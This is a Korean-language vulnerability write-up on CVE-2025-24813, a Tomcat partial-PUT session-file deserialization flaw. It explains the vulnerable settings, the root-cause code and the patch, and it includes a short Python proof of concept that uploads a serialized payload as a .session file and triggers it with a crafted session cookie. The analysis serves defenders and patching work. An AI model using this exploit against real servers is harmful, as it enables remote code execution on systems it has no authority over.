[하루한줄] CVE-2025-24813 Apache Tomcat의 안전하지 않은 역 직렬화로 인한 RCE 취약점
URL
Target
- Apache Tomcat 11.0.0-M1 < 11.0.3
- Apache Tomcat 10.1.0-M1 < 10.1.35
- Apache Tomcat 9.0.0.M1 < 9.0.99
Explain
CVE-2025-24813은 Apache Tomcat의 안전하지 않은 역 직렬화로 인한 RCE 취약점 입니다. 이 취약점의 근본 원인은, Partial-PUT
처리를 할 때, /work/
디렉토리에 파일을 업로드 하며 발생합니다. 직렬화된 페이로드를 세션 파일로 위장 업로드할 경우 톰캣이 해당 세션 파일을 읽게되며 RCE가 트리거됩니다.
[취약한 환경의 전제 조건]
- web.xml에서 디폴트 서블릿 쓰기 권한 허용 (기본 설정: false)
- PUT 요청 허용 (기본 설정: true)
- 세션 지속성 유지 옵션 허용 (기본 설정: false)
- 기본 임시디렉토리 경로 (기본 설정: $CATALINA_BASE/work)
web.xml
서블릿 쓰기 권한
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value> <!-- 취약한 설정 -->
</init-param>
</servlet>
context.xml
세션 유지 옵션
<!-- 취약한 설정 -->
<Manager className="org.apache.catalina.session.PersistentManager"
maxIdleBackup="1"
saveOnRestart="true"
processExpiresFrequency="1">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
host.xml
임시 파일 기본 경로 설정
<attribute name="workDir" required="false">
<p>Pathname to a scratch directory to be used by applications for
this Host. Each application will have its own sub directory with
temporary read-write use. Configuring a Context workDir will override
use of the Host workDir configuration. This directory will be made
visible to servlets in the web application by a servlet context
attribute (of type <code>java.io.File</code>) named
<code>jakarta.servlet.context.tempdir</code> as described in the
Servlet Specification. If not specified, a suitable directory
underneath <code>$CATALINA_BASE/work</code> will be provided.</p> <!-- 임시 파일 기본 경로 -->
</attribute>
- 취약점 근본 원인
톰캣 서버 설정이 위와 같이 구성되어 있을 때 Partial-PUT
요청을 할 경우 executePartialPut
메소드에서 ServletContext.TEMPDIR
라는 디렉토리에 파일을 업로드하도록 구현되어 있으며 해당 로직에서 2가지 취약점이 발생합니다.
protected File executePartialPut(HttpServletRequest req, ContentRange range, String path) throws IOException {
// ServletContext.TEMPDIR = **$CATALINA_BASE/work (기본 값) -> 정보유출 + RCE**
File tempDir = (File) getServletContext().getAttribute(ServletContext.TEMPDIR);
// 디렉토리 경로를 .으로 치환 **-> 정보유출**
String convertedResourcePath = path.replace('/', '.');
File contentFile = new File(tempDir, convertedResourcePath);
if (contentFile.createNewFile()) {
contentFile.deleteOnExit();
}
- 정보 유출
정상적인 Partial-PUT
요청으로 업로드 되는 파일이 있을 때 만약, 공격자가 업로드 되는 파일명을 미리 알고있을 경우
치환 로직path.replace('/', '.')
을 통해 파일명을 추측하여 다운로드 받을 수 있게됩니다.
→ 업로드 경로: hxxp[://{VICTIM}/.git/config
→ 임시 파일 경로: hxxp[://{VICTIM}/work/.git.config
임시 파일은 Tomcat 프로세스가 종료될 때 까지 유지되어 이로인해 정보 유출이 발생합니다.
- 임의파일쓰기 / 원격코드실행
공격자가 Partial-PUT Request를 통해 자바 가젯
을 담아 .session 확장자
로 파일을 생성할 경우, /work/
디렉토리에 생성됩니다. 해당 경로는 톰캣이 세션 지속성 옵션(PersistentManager, FileStore
)이 활성화 되어있을 때, 세션을 저장하고 로드하는 경로이기 때문에 공격자가 악성 페이로드를 업로드 했을 경우 직렬화 되며 원격코드실행이 트리거됩니다.
- PoC 코드
import requests
import base64
import os
TARGET_IP = "hxxp[:]//www.wiresharkworkshop[.]online:8080/"
# b64_encoded_payload = "****[information redacted]****"
output_file_path = "decoded_chain.bin"
decoded_content = base64.b64decode(b64_encoded_payload)
with open(output_file_path, "wb") as f:
f.write(decoded_content)
put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}
with open(output_file_path, "rb") as f:
put_response = requests.put(put_url, data=f, headers=put_headers)
os.remove(output_file_path)
get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)
해당 취약점은 다음과 같이 패치 되었습니다.
- RCE와 정보유출 방지를 위해
createTempFile
함수를 통해 파일명 난수화 및 확장자를 tmp로 처리
@@ -658,13 +661,7 @@ protected File executePartialPut(HttpServletRequest req, ContentRange range, Str
661 File tempDir = (File) getServletContext().getAttribute(ServletContext.TEMPDIR);
662 - // Convert all '/' characters to '.' in resourcePath
663 - String convertedResourcePath = path.replace('/', '.');
664 - File contentFile = new File(tempDir, convertedResourcePath);
665 - if (contentFile.createNewFile()) {
666 - // Clean up contentFile when Tomcat is terminated
667 - contentFile.deleteOnExit();
668 - }
664 + File contentFile = File.createTempFile("put-part-", null, tempDir);
- 임시 파일 처리가 끝날 경우 바로 삭제
@@ -636,6 +636,9 @@ protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws Se
636 // Ignore
637 }
638 }
639 + if (tempContentFile != null) {
640 + tempContentFile.delete();
641 + }
Reference
- https://github.com/advisories/GHSA-83qj-6fr2-vhqg
- https://github.com/apache/tomcat/commit/0a668e0c27f2b7ca0cc7c6eea32253b9b5ecb29c
- https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
- https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.